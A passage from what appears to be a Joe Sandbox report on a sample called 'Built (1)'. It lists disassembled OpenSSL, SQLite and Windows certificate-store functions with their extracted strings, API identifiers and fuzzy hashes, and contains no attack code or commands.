CertFreeCertificateContext 2257->2260 2258->2252 2264 7ffe0eb3a6cf-7ffe0eb3a6d2 2260->2264 2265 7ffe0eb3a6bb-7ffe0eb3a6be 2260->2265 2261->2251 2266 7ffe0eb3a685-7ffe0eb3a68b call 7ffe0eb3d8b8 2261->2266 2270 7ffe0eb3a6d4-7ffe0eb3a6d8 2264->2270 2271 7ffe0eb3a6ea-7ffe0eb3a6ed 2264->2271 2265->2264 2269 7ffe0eb3a6c0-7ffe0eb3a6c4 2265->2269 2266->2251 2275 7ffe0eb3a594-7ffe0eb3a598 2267->2275 2276 7ffe0eb3a5a3-7ffe0eb3a5b0 call 7ffe0eb3bed4 2267->2276 2278 7ffe0eb3a5bc-7ffe0eb3a5d0 call 7ffe0eb3db98 2268->2278 2279 7ffe0eb3a65b-7ffe0eb3a664 2268->2279 2269->2264 2277 7ffe0eb3a6c6-7ffe0eb3a6c9 call 7ffe0eb3d8b8 2269->2277 2270->2271 2280 7ffe0eb3a6da-7ffe0eb3a6df 2270->2280 2273 7ffe0eb3a6ef-7ffe0eb3a6f2 2271->2273 2274 7ffe0eb3a703-7ffe0eb3a706 2271->2274 2273->2274 2282 7ffe0eb3a6f4-7ffe0eb3a6f8 2273->2282 2274->2235 2283 7ffe0eb3a708-7ffe0eb3a70b 2274->2283 2275->2276 2285 7ffe0eb3a59a-7ffe0eb3a59d call 7ffe0eb3d8b8 2275->2285 2276->2268 2277->2264 2300 7ffe0eb3a645 2278->2300 2301 7ffe0eb3a5d2-7ffe0eb3a5f3 call 7ffe0eb3db58 2278->2301 2279->2257 2284 7ffe0eb3a666-7ffe0eb3a66a 2279->2284 2280->2271 2289 7ffe0eb3a6e1-7ffe0eb3a6e4 call 7ffe0eb3d8b8 2280->2289 2282->2274 2290 7ffe0eb3a6fa-7ffe0eb3a6fd call 7ffe0eb3d8b8 2282->2290 2283->2235 2291 7ffe0eb3a70d-7ffe0eb3a711 2283->2291 2284->2257 2292 7ffe0eb3a66c-7ffe0eb3a672 call 7ffe0eb3d8b8 2284->2292 2285->2276 2289->2271 2290->2274 2291->2235 2298 7ffe0eb3a713-7ffe0eb3a716 call 7ffe0eb3d8b8 2291->2298 2292->2257 2298->2235 2305 7ffe0eb3a648-7ffe0eb3a64b 2300->2305 2309 7ffe0eb3a5f5-7ffe0eb3a5f8 2301->2309 2310 7ffe0eb3a626-7ffe0eb3a62f 2301->2310 2305->2260 2306 7ffe0eb3a64d-7ffe0eb3a651 2305->2306 2306->2260 2308 7ffe0eb3a653-7ffe0eb3a659 call 7ffe0eb3d8b8 2306->2308 2308->2260 2312 7ffe0eb3a609 2309->2312 2313 7ffe0eb3a5fa-7ffe0eb3a5fe 2309->2313 2314 7ffe0eb3a631-7ffe0eb3a635 2310->2314 2315 7ffe0eb3a63d-7ffe0eb3a643 2310->2315 2312->2228 2313->2312 2317 7ffe0eb3a600-7ffe0eb3a603 call 7ffe0eb3d8b8 2313->2317 2314->2315 2318 7ffe0eb3a637 call 7ffe0eb3d8b8 2314->2318 2315->2305 2317->2312 2318->2315
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1908122453.00007FFE0EB31000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FFE0EB30000, based on PE: true
                                              • Associated: 00000001.00000002.1908094466.00007FFE0EB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB50000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB59000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB5D000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908249588.00007FFE0EB60000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908278001.00007FFE0EB62000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe0eb30000_Built (1).jbxd
                                              Similarity
                                              • API ID: Cert$Store$00007B36204CertificateCertificatesCloseContextEnumErrorFreeLastOpen
                                              • String ID:
                                              • API String ID: 3932696425-0
                                              • Opcode ID: 2fa2de9415485b3450e0823b33f9b7711c1c47f95899f8ad3d26c07b049c0bae
                                              • Instruction ID: d99223d7752c2ddc764520dbc8f6a759e3258dd02a31bb0a19a12d1d803502a1
                                              • Opcode Fuzzy Hash: 2fa2de9415485b3450e0823b33f9b7711c1c47f95899f8ad3d26c07b049c0bae
                                              • Instruction Fuzzy Hash: FC817C35E09602C2FA759F71AA1A13973A5BF54F94F384530CECE06BB1EE3DA4558B00
                                              Function 00007FFE0EB3C5D0 Relevance: 7.6, APIs: 5, Instructions: 64encryptionCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1908122453.00007FFE0EB31000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FFE0EB30000, based on PE: true
                                              • Associated: 00000001.00000002.1908094466.00007FFE0EB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB50000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB59000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB5D000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908249588.00007FFE0EB60000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908278001.00007FFE0EB62000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe0eb30000_Built (1).jbxd
                                              Similarity
                                              • API ID: CertStore$CloseOpen$Collection
                                              • String ID:
                                              • API String ID: 1995843185-0
                                              • Opcode ID: 719db802c2975ba418df283d51ac7f1ebe2906980466c9319c3f8436a860b282
                                              • Instruction ID: 4292275a56172e27e515b27151c8948ff839004c26011bed375973ac903589b4
                                              • Opcode Fuzzy Hash: 719db802c2975ba418df283d51ac7f1ebe2906980466c9319c3f8436a860b282
                                              • Instruction Fuzzy Hash: 3421C232B0875286E774CFB2E855669B661FB88F80F448430CE8D03B20EF3CE5168A00
                                              Function 00007FFE007614BF Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 243COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: ErrorLast
                                              • String ID: ..\s\ssl\statem\statem.c$state_machine
                                              • API String ID: 1452528299-1722249466
                                              • Opcode ID: 9309f1701a42d567f2b256d78ef444061abe5330f80f315c89d8de48205de333
                                              • Instruction ID: e5cb5df9ad366e104d5f1f1622bcebe89e19c6740dc56a7ad49313f65897f16a
                                              • Opcode Fuzzy Hash: 9309f1701a42d567f2b256d78ef444061abe5330f80f315c89d8de48205de333
                                              • Instruction Fuzzy Hash: 6DA16A62A0E64386FBA4BA25D4413F922A9EF41B44F5C4432DB4E467EECF3DE885C741
                                              Function 00007FFE007614F1 Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 211COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: ErrorLast
                                              • String ID: ..\s\ssl\record\rec_layer_s3.c$ssl3_read_n
                                              • API String ID: 1452528299-4226281315
                                              • Opcode ID: 5a9e2b3f9fd2b8ed2e4e7f65b5059e84ec158d25f04bc9d7a82e909f02589a9e
                                              • Instruction ID: 39f8959dc8093ddbeef5f2b12b65da8530845eb016179d47e77c2f0096a98c17
                                              • Opcode Fuzzy Hash: 5a9e2b3f9fd2b8ed2e4e7f65b5059e84ec158d25f04bc9d7a82e909f02589a9e
                                              • Instruction Fuzzy Hash: 2F917C62A0E68682FB55AF25D8447B922A0EF85B98F5C4132EF4D07BADDF3CE445C310
                                              Function 00007FFE0076127B Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 104COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: ErrorLast
                                              • String ID: ..\s\ssl\record\rec_layer_s3.c$ssl3_write_pending
                                              • API String ID: 1452528299-1219543453
                                              • Opcode ID: c1c8ba7d274d9aa46f4e5d84af80b84f7eafb345f57b49a33298fbfcd96b1805
                                              • Instruction ID: 35f2bc09b96a9579111201ad5c74d13592417f79df90669537518e014ba0433b
                                              • Opcode Fuzzy Hash: c1c8ba7d274d9aa46f4e5d84af80b84f7eafb345f57b49a33298fbfcd96b1805
                                              • Instruction Fuzzy Hash: C1419172A0AB8692EB94FF15D5446B833A4FB85B84F584136EB4D037A9DF3DE461C302
                                              Function 00007FFE007BE5EC Relevance: 1.6, APIs: 1, Instructions: 344COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: ErrorLast
                                              • String ID:
                                              • API String ID: 1452528299-0
                                              • Opcode ID: ce68793f5ed94765da0cf06069d6cda8a1f14ed55aa43607596081dc107df58f
                                              • Instruction ID: a680e68eaa3f7ae42cc84387de7458d9936277cb3b88c7de15c508d5f22aafae
                                              • Opcode Fuzzy Hash: ce68793f5ed94765da0cf06069d6cda8a1f14ed55aa43607596081dc107df58f
                                              • Instruction Fuzzy Hash: 41319E76A0A6428AE764AE22D4813B927A4FF51B44F5C8431DF49437A9DF3CE882CB41
                                              Function 00007FFE00761DF2 Relevance: 1.3, APIs: 1, Instructions: 87COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: ErrorLast
                                              • String ID:
                                              • API String ID: 1452528299-0
                                              • Opcode ID: 30f5a756a2453722bd5fc7c60f00636787785f570310c9cdf96fb774af82a049
                                              • Instruction ID: f66e2134b7c5abde47cbb4b835db4fcc2a6cdcdaf903aea72a71408c126935b1
                                              • Opcode Fuzzy Hash: 30f5a756a2453722bd5fc7c60f00636787785f570310c9cdf96fb774af82a049
                                              • Instruction Fuzzy Hash: A8315C36A0A6428AF7A4BE26D4443BD23A5FF40B44F5C8431DF4A577ADCE3CE8828741
                                              Function 00007FFE0076EE30 Relevance: 1.3, APIs: 1, Instructions: 60COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: ErrorLast
                                              • String ID:
                                              • API String ID: 1452528299-0
                                              • Opcode ID: d29a44c3b10b43c9c66d24f2e9978454315fcbd019f87c95ebe5899c13090e1b
                                              • Instruction ID: feda279f76e53a341e0bee3e28549635a06f56c55c458298c103538a6c3b142f
                                              • Opcode Fuzzy Hash: d29a44c3b10b43c9c66d24f2e9978454315fcbd019f87c95ebe5899c13090e1b
                                              • Instruction Fuzzy Hash: DA219232A0878187E354DF22E5806AEB3A5FB88B94F584135EB8907FA9CF3CD555CB00
                                              Function 00007FFE00762045 Relevance: 1.3, APIs: 1, Instructions: 32COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: ErrorLast
                                              • String ID:
                                              • API String ID: 1452528299-0
                                              • Opcode ID: b873387ff7fd400b4b47a52703e9cf0c989ea3f5abb06bff84bbae7b63879d62
                                              • Instruction ID: 2c882c99344fc2859654a7faea0416101cd1afe11a9f32c0dab8a86b241fbc00
                                              • Opcode Fuzzy Hash: b873387ff7fd400b4b47a52703e9cf0c989ea3f5abb06bff84bbae7b63879d62
                                              • Instruction Fuzzy Hash: 24F0EC25A09B8285E604AB16F8142AAA664FB89FD4F5C4035EF8E57BADCE3CD5518B00

                                              Non-executed Functions

                                              Function 00007FFE0EB35B04 Relevance: 24.9, APIs: 1, Strings: 13, Instructions: 364COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1908122453.00007FFE0EB31000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FFE0EB30000, based on PE: true
                                              • Associated: 00000001.00000002.1908094466.00007FFE0EB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB50000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB59000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB5D000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908249588.00007FFE0EB60000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908278001.00007FFE0EB62000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe0eb30000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A452270
                                              • String ID: %X:%X:%X:%X:%X:%X:%X:%X$%d.%d.%d.%d$<INVALID>$<invalid>$DNS$DirName$IP Address$Invalid value %.200s$Registered ID$URI$Unknown general name type %d$email$failed to allocate BIO
                                              • API String ID: 1360608821-4109427827
                                              • Opcode ID: e3e5b0dd508ea962643c579b2e3557698ef03d7110fbf99ec4a25a1dd4b4e553
                                              • Instruction ID: 2517e2eedcf35735471d35d13fd95bfa0fb4ce7309fdb2ff2c24c13fbf767dfc
                                              • Opcode Fuzzy Hash: e3e5b0dd508ea962643c579b2e3557698ef03d7110fbf99ec4a25a1dd4b4e553
                                              • Instruction Fuzzy Hash: 8BF18C26A0DA8396EA758F35E95A13967A1FF85B81F444031DACE42AB4EF3CE554CF00
                                              Function 00007FFDFF252D60 Relevance: 21.4, APIs: 1, Strings: 11, Instructions: 448COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: %s mode not allowed: %s$access$cach$cach$cache$file$invalid uri authority: %.*s$localhos$mode$no such %s mode: %s$no such vfs: %s
                                              • API String ID: 1130837773-1330295256
                                              • Opcode ID: e3c1206c4d1daf3d314c827499868a5d362116228514793f3c98f9f61540c9d8
                                              • Instruction ID: 94976bbbd85af33b508e18848dfc54cb043c58f306e78d1135821d3b71f0d27b
                                              • Opcode Fuzzy Hash: e3c1206c4d1daf3d314c827499868a5d362116228514793f3c98f9f61540c9d8
                                              • Instruction Fuzzy Hash: 89021672F1C68245FB618B2494A0B796B92AB517A8F0C5335CA7ED76C9DF3DEC458300
                                              Function 00007FFDFF20C510 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 400COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: %s at line %d of [%.10s]$API call with %s database connection pointer$NULL$e876e51a0ed5c5b3126f52e532044363a014bc594cfefa87ffb5b82257cc467a$invalid$misuse$unopened
                                              • API String ID: 1130837773-802680837
                                              • Opcode ID: 44c470ccf0eb1572c89146d5ca8e4472ec6ef0b878ff118ca53f12eb897ae9f7
                                              • Instruction ID: 2bc03db12dcc386ebbdb2b6dc8f08cfa7b05c781c3b155928674f5e59cca1dab
                                              • Opcode Fuzzy Hash: 44c470ccf0eb1572c89146d5ca8e4472ec6ef0b878ff118ca53f12eb897ae9f7
                                              • Instruction Fuzzy Hash: 9A029DA3B4968285EB259F199060BBA67A1EF84B88F584231DE7DC77DDDF3CE4418340
                                              Function 00007FFDFAB93054 Relevance: 13.6, APIs: 9, Instructions: 71COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1905204554.00007FFDFAB91000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAB90000, based on PE: true
                                              • Associated: 00000001.00000002.1905173009.00007FFDFAB90000.00000002.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFABF2000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFAC3E000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFAC42000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFAC47000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFAC9F000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFACA4000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFACA7000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905594100.00007FFDFACA8000.00000080.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905625275.00007FFDFACAA000.00000004.00000001.01000000.00000013.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdfab90000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A461730ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                              • String ID:
                                              • API String ID: 3649364324-0
                                              • Opcode ID: 9daafe3fd501b44f090e0f0f94c25452a803c48a0fb66691fdfbeb57f9bf99a1
                                              • Instruction ID: 498f1577b9e2e85cc9852bb3ce5dff6293eb460299315ac3980d937d89ceba25
                                              • Opcode Fuzzy Hash: 9daafe3fd501b44f090e0f0f94c25452a803c48a0fb66691fdfbeb57f9bf99a1
                                              • Instruction Fuzzy Hash: FC314D76709B8186EB648F60E8607ED7364FB88748F84413ADA5E47B98DF38D548C710
                                              Function 00007FFE007770B0 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 357COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007B6570
                                              • String ID: ..\s\ssl\ssl_ciph.c$SECLEVEL=$STRENGTH$ssl_cipher_process_rulestr
                                              • API String ID: 4069847057-331183818
                                              • Opcode ID: 75b08b654c2f2e97f5e09b9c71eb3839d8696c64fca3119346ee776943bfacbe
                                              • Instruction ID: 4907914db660a6ff678774400ad15130f045150ccd3076d81af97568a663c2c9
